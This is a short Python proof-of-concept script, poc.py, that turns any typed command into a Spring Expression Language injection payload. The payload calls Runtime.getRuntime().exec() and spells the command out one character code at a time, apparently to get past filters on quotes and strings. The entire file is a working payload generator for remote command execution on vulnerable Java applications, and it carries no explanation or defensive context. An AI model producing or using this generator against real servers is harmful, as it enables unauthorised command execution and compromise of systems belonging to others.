poc.py

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 

poc += ')}'

print(poc)